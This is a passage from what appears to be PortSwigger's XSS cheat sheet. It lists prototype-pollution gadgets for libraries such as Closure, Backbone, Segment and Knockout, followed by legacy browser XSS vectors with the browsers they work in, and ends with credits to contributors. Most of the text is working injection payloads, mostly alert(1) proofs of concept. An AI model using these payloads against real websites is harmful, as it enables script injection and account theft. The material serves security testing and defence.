const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>		Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Closure<script>
Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>		Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Marionette.js / Backbone.js<script>
Object.prototype.tagName = 'img'
Object.prototype.src = ['x:x']
Object.prototype.onerror = ['alert(1)']
</script>
<script>
(function() {
var View = Mn.View.extend({template: '#template-layout'});
var App = Mn.Application.extend({region: '#app', onStart: function() {this.showView(new View());}});
var app = new App();
app.start();
})();
</script>
<div id="template-layout" type="x-template/underscore">xxx</div>		Sergey Bobrovreturn (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')
Adobe Dynamic Tag Management<script>
Object.prototype.src='data:,alert(1)//'
</script>		Sergey Bobrovreturn (typeof _satellite !== 'undefined')
Embedly Cards<script>
Object.prototype.onload = 'alert(1)'
</script>		Guilherme Keerokreturn (typeof window.embedly !== 'undefined')
Segment Analytics.js<script>
Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/onerror=alert(2)>']
</script>		Sergey Bobrovreturn (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')
Knockout.js<strong data-bind="text:'hello'"></strong>
<script>
Object.prototype[4]="a':1,[alert(1)]:1,'b";Object.prototype[5]=',';
</script><script>
ko.applyBindings({})
</script>		Michał Bentkowski
$(x).on jQuery<script>
Object.prototype.on = 'click';
$('body').on('click', function() { alert('Injected Event'); });
$('body').trigger('click');
</script>		Andrei NicolaiciucAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')

Classic vectors (XSS crypt)

Image src with JavaScript protocol

<img src="javascript:alert(1)">
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Body background with JavaScript protocol

<body background="javascript:alert(1)">
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Iframe data urls no longer work as modern browsers use a null origin

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
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JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
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JavaScript entities used to work in Netscape Navigator

<a title="&{alert(1)}">XSS</a>
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JavaScript stylesheets used to be supported by Netscape Navigator

<link href="xss.js" rel=stylesheet type="text/javascript">
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Button used to consume markup

<form><button name=x formaction=x><b>stealme
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XBL Firefox only <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
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In quirks mode IE allowed you to use = instead of :

<div style=xss=expression(alert(1))> <div style="color&#x3dred">test</div>
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Firefox allows NULLS after &

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
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Works in Firefox

Firefox allows NULLs inside named entities

<a href="javascript&colon;alert(1)">Firefox</a>
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Works in Firefox Works in Safari

Safari used to allow any tag to have a onload event inside SVG

<svg><xss onload=alert(1)>
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Isindex using src attribute

<isindex type=image src="//evil?
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discard tag and onbegin

<svg><discard onbegin=alert(1)>
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onloadstart event for media elements in Firefox v107 and below

<img src=validimage.png onloadstart=alert(1)>
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Works in Firefox

onloadend event for media elements in Firefox v107 and below

<input type=image onloadend=alert(1) src=validimage.png>
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Works in Firefox

onbounce event for marquee element in Firefox v125 and below

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
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onfinish event for marquee element in Firefox v125 and below

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
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onstart event for marquee element in Firefox v125 and below

<marquee onstart=alert(1)>XSS</marquee>
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Assignable protocol with location

<script>location.protocol='javascript'</script>
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Works in Chrome Works in Safari Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Safari

JavaScript protocol with new line

<a href="javascript://%0aalert(1)">XSS</a>
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Works in Safari

Base tag with JavaScript protocol rewriting relative URLS

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
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Credits

Brought to you by PortSwigger Research. Created by @garethheyes.

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, laytonctf, Begeek, Hannes Leopold, yawnmoth, Yair Amit, Franz Sedlmaier, Łukasz Pilorz, Steven Christey, Dan Crowley, Rene Ledosquet, Kurt Huwig, Moritz Naumann, Jonathan Vanasco, nEUrOO, Sec Consult, Timo, Ozh, David Ross, Lukasz Plonka (sp3x), xhzeem, Mach1ne, AmirMohammad Safari, Tom Schuster, Wcraft-log, Filipnyquist, zhenwarx, smhtahsin33, Andrei Nicolaiciuc, Hiv01tag3, Andrej Šimko, parrot409, terjanq, _0x999, isacaya_, williamserizao, Mikhail Khramenkov

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